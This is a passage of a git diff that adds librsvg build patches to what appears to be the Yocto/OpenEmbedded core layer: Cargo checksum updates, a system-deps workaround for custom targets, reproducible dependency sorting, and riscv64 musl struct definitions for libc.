c7251957315afa53a7b9f936","src/unix/linux_like/linux/gnu/b32/arm/align.rs":"3fed009dc9af3cc81be7087da9d2d7d1f39845e4497e290259c5cdbae25f039d","src/unix/linux_like/linux/gnu/b32/arm/mod.rs":"5e40c273b767c369a46c3315c7cfde97379944ed63c74735e98d4dae2c49d414","src/unix/linux_like/linux/gnu/b32/mips/align.rs":"429fb5e005cb7143602d430098b6ebfb7d360685b194f333dfd587472ae954ee","src/unix/linux_like/linux/gnu/b32/mips/mod.rs":"20b4c897fb3f63e31a04849b348ec8e6e6405ce9463048d411114f8c9dbabd8a","src/unix/linux_like/linux/gnu/b32/mod.rs":"794dbcbae7dae8fd6b0b814573243197ceb532b56ef0772ad86b4b401478fcd9","src/unix/linux_like/linux/gnu/b32/powerpc.rs":"0cd7348badb9c4f8a0db31a2503b30c456a2bfcc7a0e5919762b1e12f912c5ad","src/unix/linux_like/linux/gnu/b32/riscv32/mod.rs":"ee5145a383386b716605a8d1ff3df212d418aae1aa1f37d2307d4f9cd1a08e99","src/unix/linux_like/linux/gnu/b32/sparc/align.rs":"21adbed27df73e2d1ed934aaf733a643003d7baf2bde9c48ea440895bcca6d41","src/unix/linux_like/linux/gnu/b32/sparc/mod.rs":"a2c4ae8f31a74e4843b8ff4b6507419f403b52713169fcee9b1b24eb2324162a","src/unix/linux_like/linux/gnu/b32/x86/align.rs":"e4bafdc4a519a7922a81b37a62bbfd1177a2f620890eef8f1fbc47162e9eb413","src/unix/linux_like/linux/gnu/b32/x86/mod.rs":"525ee4917b54790cefc1298ec1015cea6332d818d9c7475434e94d06afdd59c0","src/unix/linux_like/linux/gnu/b64/aarch64/align.rs":"2179c3b1608fa4bf68840482bfc2b2fa3ee2faf6fcae3770f9e505cddca35c7b","src/unix/linux_like/linux/gnu/b64/aarch64/ilp32.rs":"21a21503ef2e095f4371044915d4bfb07a8578011cb5c713cd9f45947b0b5730","src/unix/linux_like/linux/gnu/b64/aarch64/lp64.rs":"e78c3cd197f44832338b414d1a9bc0d194f44c74db77bd7bf830c1fff62b2690","src/unix/linux_like/linux/gnu/b64/aarch64/mod.rs":"d179cbb462c451ff8805029b2b922c4bf90e35f667e80d716d5064f563aebc52","src/unix/linux_like/linux/gnu/b64/mips64/align.rs":"7169d07a9fd4716f7512719aec9fda5d8bed306dc0720ffc1b21696c9951e3c6","src/unix/linux_like/linux/gnu/b64/mips64/mod.rs":"7d456da436017cb388b65b2c4b626c83b489cbb19a591673b9c627a608d53cfc","src/unix/linux_like/linux/gnu/b64/mod.rs":"6336065423c26b59681fd2ce77f1117ea36af13e163fdadaefd108bd8191e8c8","src/unix/linux_like/linux/gnu/b64/powerpc64/align.rs":"e29c4868bbecfa4a6cd8a2ad06193f3bbc78a468cc1dc9df83f002f1268130d9","src/unix/linux_like/linux/gnu/b64/powerpc64/mod.rs":"dbb8905e363ed4a2dfb984554ad9b6389d27f6a2d599ec2d80e38a6c7551a019","src/unix/linux_like/linux/gnu/b64/riscv64/mod.rs":"5b982c41097f4f91adcb0968290afeccb27dce1695a261c964d34ef85df87cf4","src/unix/linux_like/linux/gnu/b64/s390x.rs":"fce37140468f8914411eed0b25a882e60e1b54bcffcd33d6263a91b57d04f6c1","src/unix/linux_like/linux/gnu/b64/sparc64/align.rs":"e29c4868bbecfa4a6cd8a2ad06193f3bbc78a468cc1dc9df83f002f1268130d9","src/unix/linux_like/linux/gnu/b64/sparc64/mod.rs":"518ef78da0d81fe74cec30be411145d763fdfd249de4d108602fd0995781f590","src/unix/linux_like/linux/gnu/b64/x86_64/align.rs":"7169d07a9fd4716f7512719aec9fda5d8bed306dc0720ffc1b21696c9951e3c6","src/unix/linux_like/linux/gnu/b64/x86_64/mod.rs":"76cba0a3f9456a968d2ae6ea587162b2ff04278dc5250cb176395c936579771b","src/unix/linux_like/linux/gnu/b64/x86_64/not_x32.rs":"f775ac2b754f90b63053fe22afe1d19d306b5404995568d6805baa9249fb617f","src/unix/linux_like/linux/gnu/b64/x86_64/x32.rs":"4ba1b58468f55254717366f50fdfd3e4114fde6dc442a56681926c4d7e5b6b0d","src/unix/linux_like/linux/gnu/mod.rs":"af3590c392bd06394cb307ccb993e66f53de7e2a0211c689dbb1845220475445","src/unix/linux_like/linux/gnu/no_align.rs":"9cd223135de75315840ff9c3fd5441ba1cb632b96b5c85a76f8316c86653db25","src/unix/linux_like/linux/mod.rs":"88ce2c4105c07c1262495e0ff1bd53f3ceec99adba9c20c612439838b4dbfdd6","src/unix/linux_like/linux/musl/b32/arm/align.rs":"3e8ac052c1043764776b54c93ba4260e061df998631737a897d9d47d54f7b80c","src/unix/linux_like/linux/musl/b32/arm/mod.rs":"6255abe2ee04986832d12b7b2190589580f2a43e9bfb285b32b5747227f62727","src/unix/linux_like/linux/musl/b32/hexagon.rs":"10067cde5706e1173aa8e0a3a364cf44fe5b7a9f8b71cb086c653be71af00564","src/unix/linux_like/linux/musl/b32/mips/align.rs":"429fb5e005cb7143602d430098b6ebfb7d360685b194f333dfd587472ae954ee","src/unix/linux_like/linux/musl/b32/mips/mod.rs":"b9e9ff42363ebbb884ddf6445129ec4164471df45846874fc08f5f458e659254","src/unix/linux_like/linux/musl/b32/mod.rs":"8ede3985e6243882814ce91e8ce543e7edbafc0cee5932816072b6f14207a671","src/unix/linux_like/linux/musl/b32/powerpc.rs":"4592dc5f1f2fe888dfef85fa862d42d168e73a2c6f4fc052b58287d0f4d4ffcd","src/unix/linux_like/linux/musl/b32/x86/align.rs":"08e77fbd7435d7dec2ff56932433bece3f02e47ce810f89004a275a86d39cbe1","src/unix/linux_like/linux/musl/b32/x86/mod.rs":"a19a8decfab185af3cebd34aae4b15082e7552be573904b8c1a3f0c0e493ef34","src/unix/linux_like/linux/musl/b64/aarch64/align.rs":"798a9229d70ce235394f2dd625f6c4c1e10519a94382dc5b091952b638ae2928","src/unix/linux_like/linux/musl/b64/aarch64/mod.rs":"a73035c6d9b776f13b839008e15c04c2c53455571efd06664affcb047e457112","src/unix/linux_like/linux/musl/b64/mips64.rs":"2744895451f3a777fbe54f7f2695be53310b965fd62084c9b7e9121c7fe28346",
++"src/unix/linux_like/linux/musl/b64/mod.rs":"d847206d9f2d594c8febe780a938cdccf40d985dafc11e90f235947735a09bac",
++"src/unix/linux_like/linux/musl/b64/powerpc64.rs":"e5a55525b42493923956d668f978fb45e22d51deea00ce5edbfddf76ff19c741","src/unix/linux_like/linux/musl/b64/s390x.rs":"03dfec6794d93cb31a7c52b2d53a0973755168f91f8fa437cc5dbd54882c8ee7","src/unix/linux_like/linux/musl/b64/x86_64/align.rs":"7169d07a9fd4716f7512719aec9fda5d8bed306dc0720ffc1b21696c9951e3c6","src/unix/linux_like/linux/musl/b64/x86_64/mod.rs":"0dd168f5a6881f32e5239fb312b23cf137b800d0ff323286a92c8a2c382b5456",
++"src/unix/linux_like/linux/musl/mod.rs":"ac08dd0891304a0e6f478a38bffa4fe8e6b27ad79094b2f7139c7a95082c3a18",
++"src/unix/linux_like/linux/no_align.rs":"5ed04c53bf9d27da9b4d65ba7625c6ac53330162683d1b3df98950caafa3507b","src/unix/linux_like/linux/uclibc/align.rs":"9ed16138d8e439bd90930845a65eafa7ebd67366e6bf633936d44014f6e4c959","src/unix/linux_like/linux/uclibc/arm/align.rs":"e4a3c27fe20a57b8d612c34cb05bc70646edb5cec7251957315afa53a7b9f936","src/unix/linux_like/linux/uclibc/arm/mod.rs":"1e3bf809508b5872949136859bf48ddf58b7d24ae9f0b663e79f0efd1aaeb6a6","src/unix/linux_like/linux/uclibc/arm/no_align.rs":"9cd223135de75315840ff9c3fd5441ba1cb632b96b5c85a76f8316c86653db25","src/unix/linux_like/linux/uclibc/mips/mips32/align.rs":"e4a3c27fe20a57b8d612c34cb05bc70646edb5cec7251957315afa53a7b9f936","src/unix/linux_like/linux/uclibc/mips/mips32/mod.rs":"fa4102d9a596d90de604ce2962b0e64f184dfbf10552a4c3ecf28f12d4704379","src/unix/linux_like/linux/uclibc/mips/mips32/no_align.rs":"9cd223135de75315840ff9c3fd5441ba1cb632b96b5c85a76f8316c86653db25","src/unix/linux_like/linux/uclibc/mips/mips64/align.rs":"a7bdcb18a37a2d91e64d5fad83ea3edc78f5412adb28f77ab077dbb26dd08b2d","src/unix/linux_like/linux/uclibc/mips/mips64/mod.rs":"e3085ba56cfbc528d7c3c55065880603238c333b6047ef51c58177508a487fcd","src/unix/linux_like/linux/uclibc/mips/mips64/no_align.rs":"4a18e3875698c85229599225ac3401a2a40da87e77b2ad4ef47c6fcd5a24ed30","src/unix/linux_like/linux/uclibc/mips/mod.rs":"a2877679fef0f14f54a89ccbc41fb02f0c25bf6e536f9eb2cb2fa437e1d3f739","src/unix/linux_like/linux/uclibc/mod.rs":"82d504d3aa12cb0f7933980f81c4708fa6e070d4c57efdf407f2de05b71bc06d","src/unix/linux_like/linux/uclibc/no_align.rs":"3f28637046524618adaa1012e26cb7ffe94b9396e6b518cccdc69d59f274d709","src/unix/linux_like/linux/uclibc/x86_64/l4re.rs":"024eba5753e852dbdd212427351affe7e83f9916c1864bce414d7aa2618f192e","src/unix/linux_like/linux/uclibc/x86_64/mod.rs":"66e8f5b7509a6e638b8b904906f89badbab0da8fb5b602d07ebd88649c4b961a","src/unix/linux_like/linux/uclibc/x86_64/other.rs":"42c3f71e58cabba373f6a55a623f3c31b85049eb64824c09c2b082b3b2d6a0a8","src/unix/linux_like/mod.rs":"ffce98bdd208fd9d335c65feafbf0d9742bea67c7eec1ee48657f292132ec3f0","src/unix/mod.rs":"b72f18e053cca0ade0f0606f1848a773fcf1885c72cbb31889275e8195f060bd","src/unix/newlib/aarch64/mod.rs":"bb269c1468a9676442554600e87417079a787fe6220dfc23b3109639259e8710","src/unix/newlib/align.rs":"28aaf87fafbc6b312622719d472d8cf65f9e5467d15339df5f73e66d8502b28a","src/unix/newlib/arm/mod.rs":"c71be856bfd7f576b2db28af9f680211cbe6c1cac7d537bbc8020b39591af07c","src/unix/newlib/espidf/mod.rs":"c198cb4beccdab483be61c102da74dc51ac80f766797e33021f3110394ed5a3d","src/unix/newlib/mod.rs":"d7271c13748be08305d36f9af6f41f6950a7a1d6d4382149194a35d5fe2090de","src/unix/newlib/no_align.rs":"e0743b2179495a9514bc3a4d1781e492878c4ec834ee0085d0891dd1712e82fb","src/unix/newlib/powerpc/mod.rs":"2d0f7af28b47f7a2a6c210ebd1c1f33ed8eac62e56b5af2b856de2ad3fdc5187","src/unix/no_align.rs":"c06e95373b9088266e0b14bba0954eef95f93fb2b01d951855e382d22de78e53","src/unix/redox/mod.rs":"cc4794afa4fbed9d6612894ea476228f9d8533950162d6416fc4d16073e1dac4","src/unix/solarish/compat.rs":"b07a5bfac925eb012003a459ba6bddbd3bfa9c44b3394da2ac5a602e54beae9c","src/unix/solarish/illumos.rs":"7d8f47fd37880715b449723688aaee568785325a46f1c360a05bdca13252278e","src/unix/solarish/mod.rs":"ea9dd1c1d68927408342762ee8998a9628838974c91089f620c867910c29adba","src/unix/solarish/solaris.rs":"65b005453aefa9b9d4fc860fe77cfec80d8c97a51342b15daf55fc3e808bb384","src/unix/solarish/x86_64.rs":"9d761573bdccbdd1ac61da571f7e96b5374df70241d9b72d45a069611f495085","src/vxworks/aarch64.rs":"98f0afdc511cd02557e506c21fed6737585490a1dce7a9d4941d08c437762b99","src/vxworks/arm.rs":"acb7968ce99fe3f4abdf39d98f8133d21a4fba435b8ef7084777cb181d788e88","src/vxworks/mod.rs":"aea3da66f2140f2a82dfc9c58f6e6531d2dd9c15ea696e0f95a0d4a2a187b5b6","src/vxworks/powerpc.rs":"acb7968ce99fe3f4abdf39d98f8133d21a4fba435b8ef7084777cb181d788e88","src/vxworks/powerpc64.rs":"98f0afdc511cd02557e506c21fed6737585490a1dce7a9d4941d08c437762b99","src/vxworks/x86.rs":"552f007f38317620b23889cb7c49d1d115841252439060122f52f434fbc6e5ba","src/vxworks/x86_64.rs":"018d92be3ad628a129eff9f2f5dfbc0883d8b8e5f2fa917b900a7f98ed6b514a","src/wasi.rs":"44ce56183380d18aedea9b7bec2edc5819e8529302c913bfe5d01f760155b82a","src/windows/gnu/align.rs":"b2c13ec1b9f3b39a75c452c80c951dff9d0215e31d77e883b4502afb31794647","src/windows/gnu/mod.rs":"3c8c7edb7cdf5d0c44af936db2a94869585c69dfabeef30571b4f4e38375767a","src/windows/mod.rs":"1cd9223293255b994814487e28d9979fb8ebef4538a236c1aa47fdc166a149cc","src/windows/msvc/mod.rs":"c068271e00fca6b62bc4bf44bcf142cfc38caeded9b6c4e01d1ceef3ccf986f4","tests/const_fn.rs":"cb75a1f0864f926aebe79118fc34d51a0d1ade2c20a394e7774c7e545f21f1f4"},"package":"fbe5e23404da5b4f555ef85ebed98fb4083e55a00c317800bc2a50ede9f3d219"}
diff --git a/meta/recipes-gnome/librsvg/librsvg/0001-system-deps-src-lib.rs-do-not-probe-into-harcoded-li.patch b/meta/recipes-gnome/librsvg/librsvg/0001-system-deps-src-lib.rs-do-not-probe-into-harcoded-li.patch
new file mode 100644
index 0000000000..849dd98c5f
--- /dev/null
+++ b/meta/recipes-gnome/librsvg/librsvg/0001-system-deps-src-lib.rs-do-not-probe-into-harcoded-li.patch
@@ -0,0 +1,53 @@
+From 6d1f0740b111e86e99dcaf0222f3d1d67d3bf1e6 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex@linutronix.de>
+Date: Tue, 21 Sep 2021 16:54:23 +0200
+Subject: [PATCH] system-deps/src/lib.rs: do not probe into harcoded list of
+ targets
+
+Oe-core defines custom targets, and this probe fails.
+
+Upstream-Status: Inappropriate [oe-core specific]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+---
+ vendor/system-deps/.cargo-checksum.json | 2 +-
+ vendor/system-deps/src/lib.rs | 16 +---------------
+ 2 files changed, 2 insertions(+), 16 deletions(-)
+
+diff --git a/vendor/system-deps/.cargo-checksum.json b/vendor/system-deps/.cargo-checksum.json
+index ecebb94..30d594e 100644
+--- a/vendor/system-deps/.cargo-checksum.json
++++ b/vendor/system-deps/.cargo-checksum.json
+@@ -1 +1 @@
+-{"files":{"Cargo.toml":"56ab5070dc9019b039c5e9904bb466b0879c33a7f69dd030b97abab321b7cc04","LICENSE-APACHE":"a60eea817514531668d7e00765731449fe14d059d3249e0bc93b36de45f759f2","LICENSE-MIT":"23f18e03dc49df91622fe2a76176497404e46ced8a715d9d2b67a7446571cca3","README.md":"3fe7396637bf9233908f41c6001cfcb00a379225e06e36e508c8b3d7264a8aae","src/lib.rs":"015518f4337d80249d12c7e6c55e9063705a0b8805ebf46a445c89253edc5de0","src/metadata.rs":"4c8d6ac2c88646a5b97ecb50ed44b65e5b2865cce6897add85b29ca2ae08c2bb","src/test.rs":"1ec48d1e443a0a4ac8035a2b60ff0321543aa2fa998fee72cf7762a936bf5f8c","src/tests/testanotherlib.pc":"bb4fd942324e6d49ce3becd827aa5c948d1924ca6681904a3695c19b1424eb3c","src/tests/testdata.pc":"43f481e989c03674fed5ef78c6420b3f8d36a2ce001928d86c418d1844acd5e7","src/tests/testlib-2.0.pc":"152eb0c70c14c3d948118408f3d1fd3bb7531b02aa792db85bd957f7db90b45b","src/tests/testlib-3.0.pc":"cd39c2ef88f6828c9291150cc4b624e769abef484674eaebaa4f67979501315f","src/tests/testlib.pc":"75c0d8a5345f65794f583c83e1cf0dbf3385af6e6abea1d61bb86eef707a52db","src/tests/toml-missing-file/no-cargo-toml-here":"6ab4da4b56f15315df6538610cfcd2ba3d0f9a7a8414678ff00ab5a78f7d41fa"},"package":"480c269f870722b3b08d2f13053ce0c2ab722839f472863c3e2d61ff3a1c2fa6"}
+\ No newline at end of file
++{"files":{"Cargo.toml":"56ab5070dc9019b039c5e9904bb466b0879c33a7f69dd030b97abab321b7cc04","LICENSE-APACHE":"a60eea817514531668d7e00765731449fe14d059d3249e0bc93b36de45f759f2","LICENSE-MIT":"23f18e03dc49df91622fe2a76176497404e46ced8a715d9d2b67a7446571cca3","README.md":"3fe7396637bf9233908f41c6001cfcb00a379225e06e36e508c8b3d7264a8aae","src/lib.rs":"594e5f14180590adc9ea0a8ba1cc35f9a8a260322d08de3037efac3ce1dc729b","src/metadata.rs":"4c8d6ac2c88646a5b97ecb50ed44b65e5b2865cce6897add85b29ca2ae08c2bb","src/test.rs":"1ec48d1e443a0a4ac8035a2b60ff0321543aa2fa998fee72cf7762a936bf5f8c","src/tests/testanotherlib.pc":"bb4fd942324e6d49ce3becd827aa5c948d1924ca6681904a3695c19b1424eb3c","src/tests/testdata.pc":"43f481e989c03674fed5ef78c6420b3f8d36a2ce001928d86c418d1844acd5e7","src/tests/testlib-2.0.pc":"152eb0c70c14c3d948118408f3d1fd3bb7531b02aa792db85bd957f7db90b45b","src/tests/testlib-3.0.pc":"cd39c2ef88f6828c9291150cc4b624e769abef484674eaebaa4f67979501315f","src/tests/testlib.pc":"75c0d8a5345f65794f583c83e1cf0dbf3385af6e6abea1d61bb86eef707a52db","src/tests/toml-missing-file/no-cargo-toml-here":"6ab4da4b56f15315df6538610cfcd2ba3d0f9a7a8414678ff00ab5a78f7d41fa"},"package":"480c269f870722b3b08d2f13053ce0c2ab722839f472863c3e2d61ff3a1c2fa6"}
+diff --git a/vendor/system-deps/src/lib.rs b/vendor/system-deps/src/lib.rs
+index a0d4f00..a666817 100644
+--- a/vendor/system-deps/src/lib.rs
++++ b/vendor/system-deps/src/lib.rs
+@@ -725,21 +725,7 @@ impl Config {
+ }
+
+ fn check_cfg(&self, cfg: &cfg_expr::Expression) -> Result<bool, Error> {
+- use cfg_expr::{targets::get_builtin_target_by_triple, Predicate};
+-
+- let target = self
+- .env
+- .get("TARGET")
+- .expect("no TARGET env variable defined");
+- let target = get_builtin_target_by_triple(&target)
+- .unwrap_or_else(|| panic!("Invalid TARGET: {}", target));
+-
+- let res = cfg.eval(|pred| match pred {
+- Predicate::Target(tp) => Some(tp.matches(target)),
+- _ => None,
+- });
+-
+- res.ok_or_else(|| Error::UnsupportedCfg(cfg.original().to_string()))
++ Ok(true)
+ }
+ }
+
+--
+2.20.1
+
diff --git a/meta/recipes-gnome/librsvg/librsvg/0001-vendor-system-deps-sort-dependencies-before-using-th.patch b/meta/recipes-gnome/librsvg/librsvg/0001-vendor-system-deps-sort-dependencies-before-using-th.patch
new file mode 100644
index 0000000000..21565c8faa
--- /dev/null
+++ b/meta/recipes-gnome/librsvg/librsvg/0001-vendor-system-deps-sort-dependencies-before-using-th.patch
@@ -0,0 +1,50 @@
+From 9c20757ef8055535579ca3b7e69834e6917200e2 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex@linutronix.de>
+Date: Fri, 24 Sep 2021 16:20:40 +0200
+Subject: [PATCH] vendor/system-deps: sort dependencies before using them
+
+Otherwise they come out in non-reproducible order, leaking into
+target binaries.
+
+Upstream-Status: Submitted [https://github.com/gdesmott/system-deps/pull/56]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+---
+ vendor/system-deps/.cargo-checksum.json | 3 ++-
+ vendor/system-deps/src/lib.rs | 6 +++---
+ 2 files changed, 5 insertions(+), 4 deletions(-)
+
+diff --git a/vendor/system-deps/.cargo-checksum.json b/vendor/system-deps/.cargo-checksum.json
+index aae6cb9..73155dc 100644
+--- a/vendor/system-deps/.cargo-checksum.json
++++ b/vendor/system-deps/.cargo-checksum.json
+@@ -1 +1,2 @@
+-{"files":{"Cargo.toml":"56ab5070dc9019b039c5e9904bb466b0879c33a7f69dd030b97abab321b7cc04","LICENSE-APACHE":"a60eea817514531668d7e00765731449fe14d059d3249e0bc93b36de45f759f2","LICENSE-MIT":"23f18e03dc49df91622fe2a76176497404e46ced8a715d9d2b67a7446571cca3","README.md":"3fe7396637bf9233908f41c6001cfcb00a379225e06e36e508c8b3d7264a8aae","src/lib.rs":"594e5f14180590adc9ea0a8ba1cc35f9a8a260322d08de3037efac3ce1dc729b","src/metadata.rs":"4c8d6ac2c88646a5b97ecb50ed44b65e5b2865cce6897add85b29ca2ae08c2bb","src/test.rs":"1ec48d1e443a0a4ac8035a2b60ff0321543aa2fa998fee72cf7762a936bf5f8c","src/tests/testanotherlib.pc":"bb4fd942324e6d49ce3becd827aa5c948d1924ca6681904a3695c19b1424eb3c","src/tests/testdata.pc":"43f481e989c03674fed5ef78c6420b3f8d36a2ce001928d86c418d1844acd5e7","src/tests/testlib-2.0.pc":"152eb0c70c14c3d948118408f3d1fd3bb7531b02aa792db85bd957f7db90b45b","src/tests/testlib-3.0.pc":"cd39c2ef88f6828c9291150cc4b624e769abef484674eaebaa4f67979501315f","src/tests/testlib.pc":"75c0d8a5345f65794f583c83e1cf0dbf3385af6e6abea1d61bb86eef707a52db","src/tests/toml-missing-file/no-cargo-toml-here":"6ab4da4b56f15315df6538610cfcd2ba3d0f9a7a8414678ff00ab5a78f7d41fa"},"package":"480c269f870722b3b08d2f13053ce0c2ab722839f472863c3e2d61ff3a1c2fa6"}
++{"files":{"Cargo.toml":"56ab5070dc9019b039c5e9904bb466b0879c33a7f69dd030b97abab321b7cc04","LICENSE-APACHE":"a60eea817514531668d7e00765731449fe14d059d3249e0bc93b36de45f759f2","LICENSE-MIT":"23f18e03dc49df91622fe2a76176497404e46ced8a715d9d2b67a7446571cca3","README.md":"3fe7396637bf9233908f41c6001cfcb00a379225e06e36e508c8b3d7264a8aae",
++"src/lib.rs":"d88593afdcb0cc3765bf427913ebb718ac6dcd9d62d1381d9afe44dddef3abbf","src/metadata.rs":"4c8d6ac2c88646a5b97ecb50ed44b65e5b2865cce6897add85b29ca2ae08c2bb","src/test.rs":"1ec48d1e443a0a4ac8035a2b60ff0321543aa2fa998fee72cf7762a936bf5f8c","src/tests/testanotherlib.pc":"bb4fd942324e6d49ce3becd827aa5c948d1924ca6681904a3695c19b1424eb3c","src/tests/testdata.pc":"43f481e989c03674fed5ef78c6420b3f8d36a2ce001928d86c418d1844acd5e7","src/tests/testlib-2.0.pc":"152eb0c70c14c3d948118408f3d1fd3bb7531b02aa792db85bd957f7db90b45b","src/tests/testlib-3.0.pc":"cd39c2ef88f6828c9291150cc4b624e769abef484674eaebaa4f67979501315f","src/tests/testlib.pc":"75c0d8a5345f65794f583c83e1cf0dbf3385af6e6abea1d61bb86eef707a52db","src/tests/toml-missing-file/no-cargo-toml-here":"6ab4da4b56f15315df6538610cfcd2ba3d0f9a7a8414678ff00ab5a78f7d41fa"},"package":"480c269f870722b3b08d2f13053ce0c2ab722839f472863c3e2d61ff3a1c2fa6"}
+diff --git a/vendor/system-deps/src/lib.rs b/vendor/system-deps/src/lib.rs
+index af14348..5f0682e 100644
+--- a/vendor/system-deps/src/lib.rs
++++ b/vendor/system-deps/src/lib.rs
+@@ -242,11 +242,11 @@ impl Dependencies {
+ self.libs.get(name)
+ }
+
+- /// An iterator visiting all system dependencies in arbitrary order.
++ /// An iterator visiting all system dependencies in sorted (for build reproducibility) order.
+ /// The first element of the tuple is the name of the `toml` key defining the
+ /// dependency in `Cargo.toml`.
+ pub fn iter(&self) -> impl Iterator<Item = (&str, &Library)> {
+- self.libs.iter().map(|(k, v)| (k.as_str(), v))
++ self.libs.iter().map(|(k, v)| (k.as_str(), v)).sorted_by_key(|x| x.0)
+ }
+
+ fn aggregate_str<F: Fn(&Library) -> &Vec<String>>(
+@@ -338,7 +338,7 @@ impl Dependencies {
+ let mut flags = BuildFlags::new();
+ let mut include_paths = Vec::new();
+
+- for (name, lib) in self.libs.iter() {
++ for (name, lib) in self.libs.iter().sorted_by_key(|x| x.0) {
+ include_paths.extend(lib.include_paths.clone());
+
+ if lib.source == Source::EnvVariables
diff --git a/meta/recipes-gnome/librsvg/librsvg/0005-Add-base-definitions-for-riscv64-musl-libc-0.2.93.patch b/meta/recipes-gnome/librsvg/librsvg/0005-Add-base-definitions-for-riscv64-musl-libc-0.2.93.patch
new file mode 100644
index 0000000000..f47ebd586b
--- /dev/null
+++ b/meta/recipes-gnome/librsvg/librsvg/0005-Add-base-definitions-for-riscv64-musl-libc-0.2.93.patch
@@ -0,0 +1,898 @@
+From 4e188d047dee33a19902113a3c90cdf1d8310a9e Mon Sep 17 00:00:00 2001
+From: Ralf Anton Beier <ralf_beier@me.com>
+Date: Sun, 8 Aug 2021 11:05:06 +0200
+Subject: [PATCH 5/8] Add base definitions for riscv64 + musl - libc-0.2.93
+
+https://github.com/rust-lang/libc/pull/1994/commits/030a07761f61f3293d53752e60edbd330a9d718d
+
+Upstream-Status: Submitted [https://github.com/rust-lang/libc/pull/2537]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+Signed-off-by: Ralf Anton Beier <ralf_beier@me.com>
+---
+ .../src/unix/linux_like/linux/musl/b64/mod.rs | 3 +
+ .../linux_like/linux/musl/b64/riscv64/mod.rs | 867 ++++++++++++++++++
+ 2 files changed, 870 insertions(+)
+ create mode 100644 vendor/libc-0.2.93/src/unix/linux_like/linux/musl/b64/riscv64/mod.rs
+
+--- a/vendor/libc/src/unix/linux_like/linux/musl/b64/mod.rs
++++ b/vendor/libc/src/unix/linux_like/linux/musl/b64/mod.rs
+@@ -163,6 +163,9 @@ cfg_if! {
+ } else if #[cfg(any(target_arch = "x86_64"))] {
+ mod x86_64;
+ pub use self::x86_64::*;
++ } else if #[cfg(any(target_arch = "riscv64"))] {
++ mod riscv64;
++ pub use self::riscv64::*;
+ } else {
+ // Unknown target_arch
+ }
+--- /dev/null
++++ b/vendor/libc/src/unix/linux_like/linux/musl/b64/riscv64/mod.rs
+@@ -0,0 +1,867 @@
++//! RISC-V-specific definitions for 64-bit linux-like values
++
++pub type c_char = u8;
++pub type c_long = i64;
++pub type c_ulong = u64;
++pub type wchar_t = ::c_int;
++
++pub type nlink_t = ::c_uint;
++pub type blksize_t = ::c_int;
++pub type fsblkcnt64_t = ::c_ulong;
++pub type fsfilcnt64_t = ::c_ulong;
++pub type suseconds_t = i64;
++pub type __u64 = ::c_ulonglong;
++
++s! {
++ pub struct pthread_attr_t {
++ __size: [::c_ulong; 7],
++ }
++
++ pub struct stat {
++ pub st_dev: ::dev_t,
++ pub st_ino: ::ino_t,
++ pub st_mode: ::mode_t,
++ pub st_nlink: ::nlink_t,
++ pub st_uid: ::uid_t,
++ pub st_gid: ::gid_t,
++ pub st_rdev: ::dev_t,
++ pub __pad1: ::dev_t,
++ pub st_size: ::off_t,
++ pub st_blksize: ::blksize_t,
++ pub __pad2: ::c_int,
++ pub st_blocks: ::blkcnt_t,
++ pub st_atime: ::time_t,
++ pub st_atime_nsec: ::c_long,
++ pub st_mtime: ::time_t,
++ pub st_mtime_nsec: ::c_long,
++ pub st_ctime: ::time_t,
++ pub st_ctime_nsec: ::c_long,
++ __unused: [::c_int; 2usize],
++ }
++
++ pub struct stat64 {
++ pub st_dev: ::dev_t,
++ pub st_ino: ::ino64_t,
++ pub st_mode: ::mode_t,
++ pub st_nlink: ::nlink_t,
++ pub st_uid: ::uid_t,
++ pub st_gid: ::gid_t,
++ pub st_rdev: ::dev_t,
++ pub __pad1: ::dev_t,
++ pub st_size: ::off64_t,
++ pub st_blksize: ::blksize_t,
++ pub __pad2: ::c_int,
++ pub st_blocks: ::blkcnt_t,
++ pub st_atime: ::time_t,
++ pub st_atime_nsec: ::c_long,
++ pub st_mtime: ::time_t,
++ pub st_mtime_nsec: ::c_long,
++ pub st_ctime: ::time_t,
++ pub st_ctime_nsec: ::c_long,
++ __unused: [::c_int; 2],
++ }
++
++ pub struct statfs {
++ pub f_type: ::c_long,
++ pub f_bsize: ::c_long,
++ pub f_blocks: ::fsblkcnt_t,
++ pub f_bfree: ::fsblkcnt_t,
++ pub f_bavail: ::fsblkcnt_t,
++ pub f_files: ::fsfilcnt_t,
++ pub f_ffree: ::fsfilcnt_t,
++ pub f_fsid: ::fsid_t,
++ pub f_namelen: ::c_long,
++ pub f_frsize: ::c_long,
++ pub f_flags: ::c_long,
++ pub f_spare: [::c_long; 4],
++ }
++
++ pub struct statfs64 {
++ pub f_type: ::c_long,
++ pub f_bsize: ::c_long,
++ pub f_blocks: ::fsblkcnt64_t,
++ pub f_bfree: ::fsblkcnt64_t,
++ pub f_bavail: ::fsblkcnt64_t,
++ pub f_files: ::fsfilcnt64_t,
++ pub f_ffree: ::fsfilcnt64_t,
++ pub f_fsid: ::fsid_t,
++ pub f_namelen: ::c_long,
++ pub f_frsize: ::c_long,
++ pub f_flags: ::c_long,
++ pub f_spare: [::c_long; 4],
++ }
++
++ pub struct statvfs {
++ pub f_bsize: ::c_ulong,
++ pub f_frsize: ::c_ulong,
++ pub f_blocks: ::fsblkcnt_t,
++ pub f_bfree: ::fsblkcnt_t,
++ pub f_bavail: ::fsblkcnt_t,
++ pub f_files: ::fsfilcnt_t,
++ pub f_ffree: ::fsfilcnt_t,
++ pub f_favail: ::fsfilcnt_t,
++ pub f_fsid: ::c_ulong,
++ pub f_flag: ::c_ulong,
++ pub f_namemax: ::c_ulong,
++ pub __f_spare: [::c_int; 6],
++ }
++
++ pub struct statvfs64 {
++ pub f_bsize: ::c_ulong,
++ pub f_frsize: ::c_ulong,
++ pub f_blocks: ::fsblkcnt64_t,
++ pub f_bfree: ::fsblkcnt64_t,
++ pub f_bavail: ::fsblkcnt64_t,
++ pub f_files: ::fsfilcnt64_t,
++ pub f_ffree: ::fsfilcnt64_t,
++ pub f_favail: ::fsfilcnt64_t,
++ pub f_fsid: ::c_ulong,
++ pub f_flag: ::c_ulong,
++ pub f_namemax: ::c_ulong,
++ pub __f_spare: [::c_int; 6],
++ }
++
++ pub struct siginfo_t {
++ pub si_signo: ::c_int,
++ pub si_errno: ::c_int,
++ pub si_code: ::c_int,
++ #[doc(hidden)]
++ #[deprecated(
++ since="0.2.54",
